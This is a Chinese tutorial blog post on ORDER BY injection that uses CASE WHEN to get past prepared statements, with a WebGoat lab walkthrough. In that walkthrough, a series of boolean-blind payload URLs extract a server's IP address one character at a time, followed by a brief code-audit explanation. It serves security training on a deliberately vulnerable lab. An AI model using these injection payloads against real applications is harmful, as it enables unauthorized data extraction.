SQL注入——预编译CASE注入

news2024/11/18 3:21:16

文章目录

  • 预编译 CASE 注入
    • 1. SQL注入漏洞防御
    • 2. WEBGOAT SQL注入
      • 2.1 WebGoat 8.0
      • 2.2 Order by 注入
        • 2.2.1 构造 when 的条件
        • 2.2.2 代码审计

预编译 CASE 注入

预编译 CASE(Prepared CASE)是一种数据库查询语言(如SQL)中的控制语句,它可以根据条件表达式的值来选择执行不同的语句块,类似于编程语言中的 switch 语句。预编译 CASE 注入则是一种基于预编译 CASE 语句的安全漏洞攻击。

预编译 CASE 注入攻击的漏洞原理与其他类型的注入攻击相似,即攻击者尝试构造特定的输入数据来绕过应用程序的输入验证和过滤机制,从而能够执行未经授权的操作或获得敏感信息等。

在预编译 CASE 注入攻击中,攻击者通常会针对应用程序中存在的具有条件判断语句的查询进行攻击,通过构造恶意的条件表达式绕过输入验证和过滤机制,让条件表达式的结果达到攻击目的。

1. SQL注入漏洞防御

  • 避免采用拼接的方式构造SQL 语句,可以采用预编译等技术。

  • 对进入SQL 语句的参数进行足够过滤。

  • 部署安全设备比如WAF(web应用安全防火墙)。

  • 现行很多开发框架,基本上已经从技术上,解决SQL 注入问题。

JAVA中的PreparedStatement,PreparedStatement继承与Statement。

PreparedStatement作用:预编译SQL语句并执行:预防SQL注入问题。

PreparedStatement好处:

  • 预编译SQL,性能更高。
  • 防止SQL注入:将敏感字符进行转义。

image-20210725195756848

Java代码操作数据库流程如图所示:

  • 将SQL语句发送到MySQL服务器端

  • MySQL服务器端会对SQL语句进行操作

    • 检查SQL语句,检查SQL语句的语法是否正确

    • 编译SQL语句。将SQL语句编译成可执行的函数

      检查SQL和编译SQL花费的时间比执行SQL的时间还要长。

      如果我们只是重新设置参数,那么检查SQL语句和编译SQL语句将不需要重复执行。这样就提高了性能。

    • 执行SQL语句。

俗话说得好没有绝对的安全,通过预编译的技术也不能够完全防御SQL注入,只能是减轻。

比如参数绑定的方式可以使用下面的方式绕过:通过使用case when语句可以将order by后的orderExpression表达式中添加select语句。

前提条件是SQL语句中必须有order by 字段才可以通过预编译CASE注入。

2. WEBGOAT SQL注入

2.1 WebGoat 8.0

下载地址: https://github.com/WebGoat/WebGoat/wiki
WebGoat 官网及使用方法: https://github.com/WebGoat/WebGoat

运行 WebGoat

执行:java -jar webgoat-server-8.0.0.M21.jar

image-20230924145350643

然后,在浏览器中执行:http://127.0.0.1:8080/WebGoat,打开WebGoat网站,注册用户后就可以使用了。

2.2 Order by 注入

启动靶场访问指定页面

image-20230924130939131

题目要求获取主机名为webgoat-prd的服务器的IP地址,而且题目中提示了Submit 不存在SQL 注入。

查看WebGoat的提示,要利用when的条件when (true/false)

image-20230924135135373

使用bp抓取数据包,点击IP排序的地方进行抓包。

image-20230924145029497

查看数据包

image-20230924132252948

按照不同的列排序

  • 按IP排序:

image-20230924132411561

  • 按hostname排序:

image-20230924132442557

联想到 column 参数的值就是SQL语句中的 order by 参数。

这里发现column 参数的值是可控的,那么我们随便传递一个值,查看浏览器返回结果。

image-20230924132713555

发现有报错信息

image-20230924132843911

仔细观察报错信息发现,其中有SQL语句

select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by wuhu

发现传给column的值wuhu,最终是order by的参数。并且还给出了很多数据库的信息。例如有id, hostname, ip, mac, status, description, 表名为servers ,并且查询的是status不为’out of order’ 的信息。可以推测主机名为webgoat-prd的服务器的status是’out of order’ ,所以正常查询是查询不到主机名为webgoat-prd的服务器的。

采用case when进行注入,整个SQL语句为:

select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by case when (true/false) then hostname else id end 

说明:如果when中的条件为true,按照hostname排序,否则按照id进行排序。

注意

  • then后面和else后面的列名必须是合法的否则SQL语句回报错。
  • case语句结尾要有end。
2.2.1 构造 when 的条件

获取主机名为webgoat-prd的服务器的IP地址:

select ip from servers where hostname='webgoat-prd'

判断第一位是不是1:

substring((select ip from servers where hostname='webgoat-prd'),1,1)=1

SUBSTRING 函数用于从字符串中获取子串。

将整个判断条件放到when中,整个URL为:

127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when (substring((select ip from servers where hostname='webgoat-prd'),1,1)=1) then hostname else id end)

然后对构造的参数进行URL编码后发包,看到结果是按hostname排序的,说明IP地址的第一位是1。

image-20230924135534378

第二位是0

image-20230924140954214

第三位是4

image-20230924141038591

when条件为true的所有SQL语句为:

注意:不能直接复制到bp中,需要进行URL编码。

127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,1,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,2,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,3,1) from servers where hostname='webgoat-prd')=4) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,4,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,5,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,6,1) from servers where hostname='webgoat-prd')=3) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,7,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,8,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,9,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,10,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,11,1) from servers where hostname='webgoat-prd')=9) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,12,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,13,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,14,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,15,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)

最终可以看到IP地址为 104.130.219.202

最后将获取到的IP地址输入到页面中,即通关成功。

image-20230924143130613

2.2.2 代码审计

定位到Servers.java文件,分析源码可以看到,服务端虽然使用了预编译但仍拼接了 order by 参数 column,导致存在 SQL 注入漏洞:

image-20230924143354707

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1039918.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Android Studio 的android.jar文件在哪儿

一般在&#xff1a;C:\Users\admin\AppData\Local\Android\Sdk\platforms\android-33下&#xff08;不一定是33&#xff0c;这个得看你Android Studio->app->builde.gradle的targetSdk是多少&#xff09; 怎么找&#xff1a; 1.打开Android Studio 粘贴地址后&#xff0…

【C++】stack queue

stack & queue 一、容器适配器二、deque&#xff08;了解&#xff09;三、stack1. stack 的介绍2. 模拟实现 stack 四、queue1. queue 的使用2. 模拟实现 queue3. priority_queue&#xff08;1&#xff09;priority_queue 的介绍&#xff08;2&#xff09;priority_queue 的…

数字IC笔试千题解--单选题篇(二)

前言 出笔试题汇总&#xff0c;是为了总结秋招可能遇到的问题&#xff0c;做题不是目的&#xff0c;在做题的过程中发现自己的漏洞&#xff0c;巩固基础才是目的。 所有题目结果和解释由笔者给出&#xff0c;答案主观性较强&#xff0c;若有错误欢迎评论区指出&#xff0c;资料…

如何通过Python实现接口自动化的参数关联?

前言 通常在接口自动化中&#xff0c;经常会参数关联的问题&#xff0c;那么什么是参数关联&#xff1f; 参数关联就是上一个接口的返回值会被下一个接口当做参数运用&#xff0c;其中Python中可以实现参数关联的方法有很多种&#xff0c;今天小编给大家介绍下&#xff0c;如…

IC验证| Verilog语法详解之条件语句

Verilog 是一种用于数字逻辑电路设计的硬件描述语言&#xff0c;可以用来进行数字电路的仿真验证、时序分析、逻辑综合。 既是一种行为级&#xff08;可用于电路的功能描述&#xff09;描述语言又是一种结构性&#xff08;可用于元器件及其之间的连接&#xff09;描述语言。 …

RedisTemplate出现\xac\xed\x00\x05t\x00\x0f前缀解决

问题描叙 出现这种乱码前缀的原因是没有进行序列化&#xff0c;因此导致在传输过程出现乱码问题&#xff0c;存到数据库&#xff0c;发现 key,hash key/value 都有 \xAC\xED\x00\x05t\x00 前缀。RedisTemplate类中默认是没有设置序列化的。 解决方法 设置RedisTemplate的序列…

如何快速建立一个专业、高效的宠物医院小程序?

随着社会的发展和科技的进步&#xff0c;人们对于宠物的关注度越来越高&#xff0c;养宠物已经成为了许多人的生活方式。然而&#xff0c;宠物的健康问题也随之而来&#xff0c;宠物医院成为了不可或缺的存在。为了更好地服务于宠物主人&#xff0c;打造一个专属的宠物医院线上…

IntelliJ IDEA 左侧Commit栏不见了

1.点击File->Settings->Version Control->Commit 2.勾选Use non-modal commit interface

关于ElementUI之首页导航与左侧菜单实现

目录 一.Mock 1.1.什么是Mock.js 1.2.特点 1.3.安装与配置 1.3.1. 安装mock.js 1.3.2.引入mock.js 1.4.mockjs使用 1.4.1.定义测试数据文件 1.4.2.mock拦截Ajax请求 1.4.3.界面代码优化 二.总线 2.1.是什么 2.2.前期准备 2.3.配置组件与路由关系 2.3.1. 配置组件 …

Mock.js之Element-ui搭建首页导航与左侧菜单

&#x1f3ac; 艳艳耶✌️&#xff1a;个人主页 &#x1f525; 个人专栏 &#xff1a;《Spring与Mybatis集成整合》《springMvc使用》 ⛺️ 生活的理想&#xff0c;为了不断更新自己 ! 1、Mock.js的使用 1.1.什么是Mock.js Mock.js是一个模拟数据的生成器&#xff0c;用来帮助前…

希尔排序代码及时间空间复杂度

希尔排序&#xff08;Shell Sort&#xff09;是一种插入排序的改进算法&#xff0c;它通过将数据分成多个小组来排序&#xff0c;然后逐渐减小这些小组的间隔&#xff0c;直到最后一次使用标准的插入排序算法。希尔排序的时间复杂度取决于使用的间隔序列&#xff0c;通常为 O(n…

Vulnhub-driftingbules:5 靶机复现完整过程

记录对driftingbules:5 靶机的复现过程 kali的IP地址&#xff1a;192.168.200.14 靶机IP地址&#xff1a;192.168.200.60 一、信息收集 1.对利用nmap目标靶机进行扫描 由于arp-scan属于轻量级扫描&#xff0c;在此直接使用nmap进行对目标靶机扫描开放端口 nmap -A -p 1-65…

从SmartPay dll学到的内容 宏定义 单件模式 迭代 日志记录函数进入与出来

日志记录函数进入与出来&#xff1a;利用C的反初始化来记录退出 函数运行记时、调用次数统计等 宏定义 配置里的宏 WIN32;NDEBUG;_WINDOWS;_USRDLL;SMARTPAY_PGLDLL_192787_EXPORTS;ESLOG_RELEASE;HAVE_STRUCT_TIMESPEC;%(PreprocessorDefinitions)减少代码耦合 关闭日志等 …

国内音视频开发的前景怎么样?

国内音视频开发的前景怎么样? 本人就是音视频开发&#xff0c;谈一下我的观点。 目前干我们这一行的年纪都比较大&#xff0c;我自己工作五年就是很年轻的了。年会上老板说除了音视频中心的大家都是比较年轻的。。。 有些也是过了35岁了&#xff0c;四十的都有。是不是觉得这…

Unity(四) 基于关键帧的动画与骨骼动画

Unity中有两种类型的动画&#xff1a;基于关键帧的动画和骨骼动画 基于关键帧的动画是最常见的动画形式&#xff0c;也称为帧动画。它将每一帧的动画存储为一个离散的关键帧&#xff0c;然后通过计算每一帧之间的差异来创建动画。这种类型的动画适用于不需要太多交互或程序控制…

【network】丢包网络情况记录

目录 2023-09-25 09:20 2023-09-25 11:23 接口流量 2023-09-25 09:20 2023-09-25 11:23 接口流量

使用自功率谱、互功率谱估计滤波器幅频特性

这段时间终于对工程中的随机信号的一般处理方式有点头绪了&#xff0c;功率谱密度估计是十分重要的方式之一&#xff0c;仍需继续深入细化相关内容。 示例&#xff1a;使用自功率谱、互功率谱估计滤波器幅频特性&#xff0c;自己实现 & Matlab自带函数实现。 clc;clear;cl…

BUUCTF [BJDCTF2020]EasySearch 1

“.swp” 后缀通常用于表示 Vim&#xff08;一种文本编辑器&#xff09;的交换文件。Vim 是一个强大的文本编辑器&#xff0c;它在编辑文件时会创建交换文件以确保文件内容的安全性。 审阅 访问 index.php.swp 得到源码 <?phpob_start();function get_hash(){$chars ABC…

【PDF】pdf 学习之路

PDF 文件格式解析 https://www.cnblogs.com/theyangfan/p/17074647.html 权威的文档&#xff1a; 推荐第一个连接&#xff1a; PDF Explained &#xff08;译作《PDF 解析》&#xff09; | PDF-Explained《PDF 解析》https://zxyle.github.io/PDF-Explained/ https://zxyle…

缓冲区溢出漏洞预防

什么是缓冲区溢出 组成所有应用程序的程序由缓冲区组成&#xff0c;缓冲区是在内存中分配的临时空间&#xff0c;用于保存数据&#xff0c;直到它们移动到程序的其他部分&#xff0c;缓冲区可以包含的数据字节数最初将在代码开发期间指定&#xff0c;由于没有任何类型的边界检…